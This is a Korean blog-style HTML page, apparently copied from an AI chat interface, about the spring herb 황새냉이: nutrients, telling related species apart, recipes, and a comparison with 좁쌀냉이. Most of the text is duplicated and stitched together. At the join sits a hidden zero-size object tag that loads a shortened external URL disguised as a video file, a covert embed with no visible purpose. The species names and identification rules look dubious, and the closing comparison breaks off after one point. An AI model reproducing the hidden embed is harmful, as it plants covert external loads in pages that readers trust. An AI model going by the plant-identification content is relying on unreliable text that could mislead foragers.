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<div _ngcontent-ng-c2467228383="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:34">황새냉이, 봄의 선물! 맛과 건강을 동시에 만끽하는 방법</h2><p data-sourcepos="3:1-3:70"><strong>봄의 대표적인 나물</strong>이라고 불리는 황새냉이는 <strong>싱그러운 식감</strong>과 <strong>다양한 영양</strong>으로 많은 사랑을 받고 있습니다.</p><p data-sourcepos="5:1-5:84">이 글에서는 황새냉이의 <strong>효능</strong>, <strong>종류 구별 방법</strong>, <strong>맛있는 먹는 법</strong>, <strong>좁쌀냉이와의 차이점</strong>까지 <strong>꼼꼼하게</strong> 알아보겠습니다.</p><p data-sourcepos="7:1-7:32"><strong>1. 황새냉이, 봄철 건강을 지키는 비타민 보관소!</strong></p><p data-sourcepos="9:1-9:62">황새냉이는 <strong>비타민 C, 칼슘, 철분, 식이섬유</strong> 등 다양한 영양소가 풍부한 <strong>봄철 대표 나물</strong>입니다.</p><ul data-sourcepos="11:1-15:0">
<li data-sourcepos="11:1-11:29"><strong>비타민 C:</strong> 면역력 강화, 피부 미용 효과</li>
<li data-sourcepos="12:1-12:27"><strong>칼슘:</strong> 뼈 건강 유지, 치아 건강 개선</li>
<li data-sourcepos="13:1-13:22"><strong>철분:</strong> 빈혈 예방, 피로 해소</li>
<li data-sourcepos="14:1-15:0"><strong>식이섬유:</strong> 소화 촉진, 변비 예방, 포만감 증가</li>
</ul><p data-sourcepos="16:1-16:19"><strong>2. 황새냉이 종류 구별하기</strong></p><p data-sourcepos="18:1-18:42">황새냉이는 크게 <strong>잎 뒷면의 털</strong>과 <strong>줄기</strong>로 구분할 수 있습니다.</p><p data-sourcepos="20:1-20:10"><strong>잎 뒷면 털</strong></p><ul data-sourcepos="22:1-25:0">
<li data-sourcepos="22:1-22:26"><strong>털이 없는 종류:</strong> 좁쌀냉이, 갯갓냉이</li>
<li data-sourcepos="23:1-23:28"><strong>짧은 털이 있는 종류:</strong> 갓냉이, 씀쑥냉이</li>
<li data-sourcepos="24:1-25:0"><strong>긴 털이 있는 종류:</strong> 황새냉이, 나도냉이</li>
</ul><p data-sourcepos="26:1-26:6"><strong>줄기</strong></p><ul data-sourcepos="28:1-30:0">
<li data-sourcepos="28:1-28:26"><strong>굵고 딱딱한 종류:</strong> 갓냉이, 씀쑥냉이</li>
<li data-sourcepos="29:1-30:0"><strong>가늘고 부드러운 종류:</strong> 황새냉이, 나도냉이, 좁쌀냉이, 갯갓냉이</li>
</ul><p data-sourcepos="31:1-31:22"><strong>3. 황새냉이 맛있게 즐기는 방법</strong></p><p data-sourcepos="33:1-33:10"><strong>1) 무침:</strong></p><ul data-sourcepos="35:1-38:0">
<li data-sourcepos="35:1-35:24"><strong>가장 기본적인 먹는 방법</strong>입니다.</li>
<li data-sourcepos="36:1-36:58">찬물에 데친 후 물기를 뺀 황새냉이에 마늘, 간장, 참기름, 들깨, 고춧가루 등을 넣고 버무립니다.</li>
<li data-sourcepos="37:1-38:0">취향에 따라 깨, 다진 마늘, 멸치액젓 등을 추가해도 좋습니다.</li>
</ul><p data-sourcepos="39:1-39:9"><strong>2) 국:</strong></p><ul data-sourcepos="41:1-44:0">
<li data-sourcepos="41:1-41:39"><strong>황새냉이의 싱그러운 맛</strong>을 그대로 느낄 수 있는 방법입니다.</li>
<li data-sourcepos="42:1-42:52">멸치나 새우로 국물을 끓여 데친 황새냉이를 넣고 간장, 소금, 후추 등으로 간을 합니다.</li>
<li data-sourcepos="43:1-44:0">계란이나 두부를 넣어 함께 먹으면 더욱 맛있습니다.</li>
</ul><p data-sourcepos="45:1-45:10"><strong>3) 볶음:</strong></p><ul data-sourcepos="47:1-50:0">
<li data-sourcepos="47:1-47:35"><strong>황새냉이의 바삭한 식감</strong>을 즐길 수 있는 방법입니다.</li>
<li data-sourcepos="48:1-48:46">데친 황새냉이를 기름에 살짝 볶아 간장, 마늘, 고춧가루 등으로 간을 합니다.</li>
<li data-sourcepos="49:1-50:0">돼지고기나 햄, 새우 등을 넣어 함께 볶아도 좋습니다.</li>
</ul><p data-sourcepos="51:1-51:11"><strong>4) 나물죽:</strong></p><ul data-sourcepos="53:1-56:0">
<li data-sourcepos="53:1-53:37"><strong>황새냉이의 영양</strong>을 간편하게 섭취할 수 있는 방법입니다.</li>
<li data-sourcepos="54:1-54:46">쌀죽을 끓인 후 데친 황새냉이를 넣고 간장, 소금, 후추 등으로 간을 합니다.</li>
<li data-sourcepos="55:1-56:0">계란이나 김을 곁들여 먹으면 더욱 맛있습니다.</li>
</ul><p data-sourcepos="57:1-57:11"><strong>5) 샐러드:</strong></p><ul data-sourcepos="59:1-62:0">
<li data-sourcepos="59:1-59:44"><strong>황새냉이의 싱그러운 맛</strong>을 새로운 방식으로 즐길 수 있는 방법입니다.</li>
<li data-sourcepos="60:1-60:44">데친 황새냉이를 다른 채소와 함께 샐러드로 만들어 드레싱을 뿌려 먹습니다.</li>
<li data-sourcepos="61:1-62:0">치즈나 견과류를 넣어도 좋습니다.</li>
</ul><p data-sourcepos="63:1-63:28"><strong>4. 좁쌀냉이와 황새냉이, 헷갈리지 마세요!</strong></p><p data-sourcepos="65:1-65:80"><strong>좁쌀냉이</strong>와 <strong>황새냉이</strong>는 비슷한 외모 때문에 종종 혼동되기도 합니다. 하지만 몇 가지 <strong>구별점</strong>을 통해 쉽게 알아볼 수 있습니다.</p><ul data-sourcepos="67:1-67:43">
<li data-sourcepos="67:1-67:43"><strong>잎:</strong> 좁쌀냉이는 잎이 좁고 길며, 황새냉이는 잎이 넓고 둥글습니다.</li>
</ul></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cbVT" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
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<li data-sourcepos="11:1-11:29"><strong>비타민 C:</strong> 면역력 강화, 피부 미용 효과</li>
<li data-sourcepos="12:1-12:27"><strong>칼슘:</strong> 뼈 건강 유지, 치아 건강 개선</li>
<li data-sourcepos="13:1-13:22"><strong>철분:</strong> 빈혈 예방, 피로 해소</li>
<li data-sourcepos="14:1-15:0"><strong>식이섬유:</strong> 소화 촉진, 변비 예방, 포만감 증가</li>
</ul><p data-sourcepos="16:1-16:19"><strong>2. 황새냉이 종류 구별하기</strong></p><p data-sourcepos="18:1-18:42">황새냉이는 크게 <strong>잎 뒷면의 털</strong>과 <strong>줄기</strong>로 구분할 수 있습니다.</p><p data-sourcepos="20:1-20:10"><strong>잎 뒷면 털</strong></p><ul data-sourcepos="22:1-25:0">
<li data-sourcepos="22:1-22:26"><strong>털이 없는 종류:</strong> 좁쌀냉이, 갯갓냉이</li>
<li data-sourcepos="23:1-23:28"><strong>짧은 털이 있는 종류:</strong> 갓냉이, 씀쑥냉이</li>
<li data-sourcepos="24:1-25:0"><strong>긴 털이 있는 종류:</strong> 황새냉이, 나도냉이</li>
</ul><p data-sourcepos="26:1-26:6"><strong>줄기</strong></p><ul data-sourcepos="28:1-30:0">
<li data-sourcepos="28:1-28:26"><strong>굵고 딱딱한 종류:</strong> 갓냉이, 씀쑥냉이</li>
<li data-sourcepos="29:1-30:0"><strong>가늘고 부드러운 종류:</strong> 황새냉이, 나도냉이, 좁쌀냉이, 갯갓냉이</li>
</ul><p data-sourcepos="31:1-31:22"><strong>3. 황새냉이 맛있게 즐기는 방법</strong></p><p data-sourcepos="33:1-33:10"><strong>1) 무침:</strong></p><ul data-sourcepos="35:1-38:0">
<li data-sourcepos="35:1-35:24"><strong>가장 기본적인 먹는 방법</strong>입니다.</li>
<li data-sourcepos="36:1-36:58">찬물에 데친 후 물기를 뺀 황새냉이에 마늘, 간장, 참기름, 들깨, 고춧가루 등을 넣고 버무립니다.</li>
<li data-sourcepos="37:1-38:0">취향에 따라 깨, 다진 마늘, 멸치액젓 등을 추가해도 좋습니다.</li>
</ul><p data-sourcepos="39:1-39:9"><strong>2) 국:</strong></p><ul data-sourcepos="41:1-44:0">
<li data-sourcepos="41:1-41:39"><strong>황새냉이의 싱그러운 맛</strong>을 그대로 느낄 수 있는 방법입니다.</li>
<li data-sourcepos="42:1-42:52">멸치나 새우로 국물을 끓여 데친 황새냉이를 넣고 간장, 소금, 후추 등으로 간을 합니다.</li>
<li data-sourcepos="43:1-44:0">계란이나 두부를 넣어 함께 먹으면 더욱 맛있습니다.</li>
</ul><p data-sourcepos="45:1-45:10"><strong>3) 볶음:</strong></p><ul data-sourcepos="47:1-50:0">
<li data-sourcepos="47:1-47:35"><strong>황새냉이의 바삭한 식감</strong>을 즐길 수 있는 방법입니다.</li>
<li data-sourcepos="48:1-48:46">데친 황새냉이를 기름에 살짝 볶아 간장, 마늘, 고춧가루 등으로 간을 합니다.</li>
<li data-sourcepos="49:1-50:0">돼지고기나 햄, 새우 등을 넣어 함께 볶아도 좋습니다.</li>
</ul><p data-sourcepos="51:1-51:11"><strong>4) 나물죽:</strong></p><ul data-sourcepos="53:1-56:0">
<li data-sourcepos="53:1-53:37"><strong>황새냉이의 영양</strong>을 간편하게 섭취할 수 있는 방법입니다.</li>
<li data-sourcepos="54:1-54:46">쌀죽을 끓인 후 데친 황새냉이를 넣고 간장, 소금, 후추 등으로 간을 합니다.</li>
<li data-sourcepos="55:1-56:0">계란이나 김을 곁들여 먹으면 더욱 맛있습니다.</li>
</ul><p data-sourcepos="57:1-57:11"><strong>5) 샐러드:</strong></p><ul data-sourcepos="59:1-62:0">
<li data-sourcepos="59:1-59:44"><strong>황새냉이의 싱그러운 맛</strong>을 새로운 방식으로 즐길 수 있는 방법입니다.</li>
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<li data-sourcepos="61:1-62:0">치즈나 견과류를 넣어도 좋습니다.</li>
</ul><p data-sourcepos="63:1-63:28"><strong>4. 좁쌀냉이와 황새냉이, 헷갈리지 마세요!</strong></p><p data-sourcepos="65:1-65:80"><strong>좁쌀냉이</strong>와 <strong>황새냉이</strong>는 비슷한 외모 때문에 종종 혼동되기도 합니다. 하지만 몇 가지 <strong>구별점</strong>을 통해 쉽게 알아볼 수 있습니다.</p><ul data-sourcepos="67:1-67:43">
<li data-sourcepos="67:1-67:43"><strong>잎:</strong> 좁쌀냉이는 잎이 좁고 길며, 황새냉이는 잎이 넓고 둥글습니다.</li>
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